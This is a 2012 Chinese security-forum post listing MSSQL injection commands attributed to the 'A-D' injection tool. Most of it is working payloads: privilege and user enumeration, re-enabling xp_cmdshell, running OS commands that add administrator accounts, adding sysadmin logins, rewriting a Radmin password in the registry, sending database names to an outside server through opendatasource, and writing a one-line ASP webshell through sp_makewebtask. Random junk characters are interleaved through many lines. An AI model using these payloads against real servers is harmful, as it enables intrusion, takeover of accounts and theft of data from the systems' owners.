找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2119|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令9 u- y" e6 e) \& B9 d2 }& j! _
//看看是什么权限的
! N% W- b, O9 o9 M. z9 H% ~3 A1 ?and 1=(Select IS_MEMBER('db_owner'))
$ ^9 }% n# R5 p0 M! ]9 OAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
/ H* e* _) K/ `3 ~+ K, [) J5 L2 v# H, t! j, _. @0 c
//检测是否有读取某数据库的权限
" E* a/ q- Q9 {1 `0 `( wand 1= (Select HAS_DBACCESS('master'))* b; x8 F$ ^$ r: b7 y
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
9 L" U2 m" ]2 I; h) q8 j3 M% |, p% u0 I4 M# W
: L& m& O( Y4 S2 @
数字类型
; ]( m# a. A$ ?! w+ ]3 e6 [and char(124)%2Buser%2Bchar(124)=0' V' M" y2 t" [" T" \0 m' }! c

/ ]( V2 e5 _0 D- s# V( `; P字符类型" ?; ]6 s$ d& L# i( A
' and char(124)%2Buser%2Bchar(124)=0 and ''='
) {8 |% l1 ^. \5 j% i1 n+ l) I9 `; a1 C! t% W
搜索类型2 e6 n- |' t" j2 c/ I& B/ q
' and char(124)%2Buser%2Bchar(124)=0 and '%'='; X1 Y3 J9 d; X+ I! e$ v- M
# j% r+ J8 ~& y
爆用户名
0 f; f0 y8 m, G( B0 [and user>0
, C6 I0 H6 N" d- s' and user>0 and ''='
; C6 g0 z9 z% A$ @  s2 S% z; H: r
, i' c" \% v9 @5 k检测是否为SA权限' M' `+ g/ o0 I4 h
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--7 A: j9 L. s6 r/ }( a
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
4 b% K9 H4 [) z) j: s# j4 @- H3 H& a- \/ K  k+ D
检测是不是MSSQL数据库  a6 Y) U# W# O: \: \
and exists (select * from sysobjects);-- / S9 F3 y& Q- u: V7 o

0 m9 A7 I2 J; d/ l/ B/ a6 H  N检测是否支持多行
# w+ [5 z0 H" |;declare @d int;--
* A# _# c/ X0 g2 |7 n3 y1 j6 T8 ~/ Z* J* H! j, v7 C
恢复 xp_cmdshell5 L0 Q, `+ F3 q) v
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--, u1 F  `/ k7 d! L! q7 f8 S# ^

) |) Q0 s/ R6 s: T9 D1 I. H9 }) |7 q0 h3 _
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') * P) \. ~  I' H8 p+ |
% N2 L7 w% D$ O& A( b8 O" n
//-----------------------2 F& n7 L6 q6 ~/ T% s  [0 D
//      执行命令" h: D# [6 P% J. I; Q3 ]# ?9 I
//-----------------------
! _; z1 x: F  Z首先开启沙盘模式:5 W+ p5 e- L) o1 X
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
/ S3 ^+ _  F$ N( d' }0 f/ K
' Y/ N' w6 m# a* x( B/ W: Y然后利用jet.oledb执行系统命令  {* r9 ]1 A4 _$ Z3 G: Y' }1 x! ~7 c
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')+ s2 a8 ^1 P5 k8 E" H% j  e- v
. R2 ~8 w3 z! H2 d9 C+ J! Y% u- y7 G
执行命令2 x: }0 n" c5 o3 M
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--; ~. m' M4 j  v$ ~  ~

4 e+ N" p9 r! U6 ^' P3 C: v0 |EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'  a' W5 }2 P) o3 z( M( G# T8 `
" S3 i- ]1 Y3 n  R0 l0 Y2 S
判断xp_cmdshell扩展存储过程是否存在:
6 ]: _3 ~2 ]: w6 n' [+ O) k3 Lhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')5 T2 T1 G$ J% T) e
2 Q; `% |9 z+ b$ [
写注册表  ~' i" p9 J% o" m8 \& `
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 o! V% G; [2 m) A6 L
6 D0 ^7 @2 P/ [/ M- k1 J% j6 ^$ VREG_SZ
- z, v( u6 B' n! J: o! o% z
8 J8 f* b1 T" h" G, A( H/ o3 s) @) Q读注册表
1 r# N8 \6 b, x  z6 V; l) {exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'5 i$ I) J- U$ c3 i( E+ `
% G% R) G+ L3 R- j5 p  L5 T
读取目录内容
" @( b+ R/ |( @. l: ^% rexec master..xp_dirtree 'c:\winnt\system32\',1,1
2 N6 E1 k& K2 o: ^. h
3 J; F/ Z: w& D, D4 @9 M3 u  o! X6 J
数据库备份
2 X9 k# P/ M1 s* jbackup database pubs to disk = 'c:\123.bak'
+ y. O- [6 }% \  h; t$ K1 v6 c- Z6 d5 q8 U+ p  r$ n
//爆出长度
2 r- j5 p! \) y9 W5 |And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
+ ?  p+ t: ^* }, k  a) k. W
+ s* h  H! [6 S: u( d) O  A$ {7 `2 o/ N/ s

$ R4 R6 L9 S; Q. j( y1 w3 G. _0 F更改sa口令方法:用sql综合利用工具连接后,执行命令:3 n$ J" |; f4 V$ V
exec sp_password NULL,'新密码','sa'
) `# o; y- r* S# [! k' F6 N
0 y5 U# W& ?) R0 e- H  s添加和删除一个SA权限的用户test:
5 u+ D3 N, O2 A3 |. wexec master.dbo.sp_addlogin test,ptlove# j4 r1 W3 v1 Q8 Y& p6 p  i0 x
exec master.dbo.sp_addsrvrolemember test,sysadmin: ~0 u. t8 O- [5 d

& I+ Z: W% C2 Y2 \/ L删除扩展存储过过程xp_cmdshell的语句:
7 d( B3 ]* }# f" P. ]2 j7 nexec sp_dropextendedproc 'xp_cmdshell'. F- q! ?) |: F/ k5 [  C

, n# l+ ~% w/ |/ |% s) E& E8 r7 u7 ^添加扩展存储过过程" }0 E" }, x. N: g! j
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
5 d. L9 Q" J- WGRANT exec On xp_proxiedadata TO public
+ |8 \# D" L. K3 y9 Y, @6 s
9 C, U6 N: ^% n9 H, O, O7 X& A/ X6 |, P2 D9 i+ m. j* G
停掉或激活某个服务。
$ {/ [% P5 `+ }, v) [
: v3 s; T7 G8 u7 o/ V# Xexec master..xp_servicecontrol 'stop','schedule'1 l) y# x2 ?+ D  I+ Y9 Q; a
exec master..xp_servicecontrol 'start','schedule'
& h/ ~0 s# K8 t! r# d* W  x6 n+ h1 M! ^$ F7 F5 h; K
dbo.xp_subdirs1 G( r$ c+ w' B$ q. p
! ], l$ P: o. E+ l7 \3 v
只列某个目录下的子目录。0 u6 j6 h0 I1 o/ ]3 @" h8 I1 z
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'- a' x+ L% n/ h" |; M" E

1 Z" I+ u! q3 a1 l$ ~( x. {% {dbo.xp_makecab
0 j! @. y/ s- V) Q( ~# S6 G! y" v' B) v8 ~, o8 I- t0 D. v
将目标多个档案压缩到某个目标档案之内。
: P( R* o5 c+ v9 K- T3 y. M所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。/ q: L- ]3 g+ v" O8 a. d

0 R% I. k5 K6 @& G; ndbo.xp_makecab; t/ H! U3 n0 V( z2 D* N5 |
'c:\test.cab','mszip',1,
. }) q% `/ m1 J5 d# @- q7 w'C:\Inetpub\wwwroot\SQLInject\login.asp',: A: ^* L# S. |' O0 E( S
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
. }+ y& ?4 m. q/ q) _
4 j; Z6 N* H! U% p" @xp_terminate_process8 r; I$ r! K. v8 a1 M1 z2 c

5 r, d7 c! y: ^4 F; D5 J停掉某个执行中的程序,但赋予的参数是 Process ID。
7 Q) D* u* d* i  s2 U" G利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
, e) g3 ]7 l$ Y
3 O" B$ H' s8 [# k% Y$ b7 oxp_terminate_process 2484
+ D+ c& |3 I, X( ?2 g7 P# M3 e. Y% Q
xp_unpackcab
  h6 Q7 V+ }* f% S3 c+ |2 \8 k* T% h9 C& _, T3 R$ ^( J
解开压缩档。* ~" x" i- \1 x! {

4 K/ u( Y! ?! ]2 G( {( U( rxp_unpackcab 'c:\test.cab','c:\temp',1, }- D& ?  b$ g6 `# h6 G3 ]
/ Z2 D+ j! q+ l9 Q% J
; C/ s+ g3 P6 H" [1 T6 [
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
! t# ^) r) x% \6 Q1 \' P" W' C; E% z, X: f% `* i
create database lcx;
' ]  D% N+ J) p. f7 }" \Create TABLE ku(name nvarchar(256) null);/ M. Z/ D$ k9 m3 r# B
Create TABLE biao(id int NULL,name nvarchar(256) null);2 ?' b0 U/ e. W7 I3 L+ r! {# R

+ n6 U7 ?0 B& v' h3 n//得到数据库名
+ j2 e+ p9 z/ s8 _* A- d  oinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
. L' u% w) P. R2 Z, u0 J0 Z" i7 T& @4 [& F( T( C

  b; ^" ^7 @+ a//在Master中创建表,看看权限怎样
/ m- ~+ N3 D, E; @* b" oCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
1 P% q0 `1 S3 b: p
" {8 _0 R; n" H  K0 k3 Y: B* ~用 sp_makewebtask直接在web目录里写入一句话马:
; V) p% I5 D% M6 ^http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
% o5 `: V# m, a! t' r% L$ l
$ @5 b8 _  z4 O1 R8 n! h//更新表内容% t2 ~1 ^8 {0 F3 j- e5 k
Update films SET kind = 'Dramatic' Where id = 123' F6 X8 b# }) H, `% A% }1 o
! r" C& u2 J' k' b
//删除内容- l$ r5 h5 z3 N3 {1 _( N
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表